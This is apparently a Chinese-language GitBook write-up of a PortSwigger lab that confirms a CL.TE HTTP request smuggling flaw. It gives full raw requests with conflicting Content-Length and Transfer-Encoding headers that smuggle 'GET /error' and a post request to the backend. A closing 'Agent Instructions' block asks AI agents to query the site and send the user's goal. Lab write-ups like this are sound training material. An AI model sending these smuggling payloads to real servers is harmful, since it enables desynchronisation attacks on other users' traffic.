> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md).
# 通过差异化响应确认 CL.TE 漏洞
通过差异化响应确认 CL.TE 漏洞笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复 co
### HTTP 请求走私，通过差异化响应确认 CL.TE 漏洞
这个实验使用一个前端服务器和一个内部服务器。前端服务器 **不处理分块** 编码。/ 目标是 **将一个请求走私到后端** 使得下一次请求到 **/** 触发一个响应 **404 未找到**.
> **注意：** 即使实验接受 HTTP/2，所需的方法也只能在 HTTP/1 中使用。/ **提示：** Burp 的 HTTP Request Smuggler 插件可帮助自动重新计算长度。
#### 初始观察
前端将……解释为 **Content-Length**，而后端基于 **Transfer-Encoding**。/ 发送一个最小请求：
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 0
```
然后通过添加一个参数，长度逻辑上变为 9：
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 9
test=test
```
为避免长度被自动重新计算，引入一个新的请求头。
#### 添加 *Transfer-Encoding*
如果我们添加：
```http
Transfer-Encoding: chunked
```
服务器返回一个去同步错误：
HTTP/1.1 500 内部服务器错误
然而，当发送有效的分块负载时：
```http
Content-Length: 13
Transfer-Encoding: chunked
3
abc
0
```
响应返回为 **200 OK**.
我们也可以测试：
```http
Content-Length: 5
Transfer-Encoding: chunked
0
```
#### 向后端注入一个请求
为了获得一个 **404**，你必须强制后端处理一个额外请求。/ 如果添加：
```http
GET /error HTTP/1.1
测试：A
```
并且后端正确解释了走私的请求，它会执行 `GET /error`.
完整示例：
```http
POST / HTTP/1.1
Host: 0a34007903bfec2580c6353400dd0061.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked
3
abc
0
GET /error HTTP/1.1
测试：A
```
第一个响应是 **200**，但浏览器发送的下一个请求会触发一个 **404**，这证明发生了去同步。
#### 变体：运行另一个页面
如果你想让后端执行另一个资源，例如：
```http
GET /post?postId=4 HTTP/1.1
测试：A
```
那么主页面将显示与帖子 4 对应的内容，确认走私的查询已被后端处理。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/cl-te-vulnerability-confirmation-via-differential-responses.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
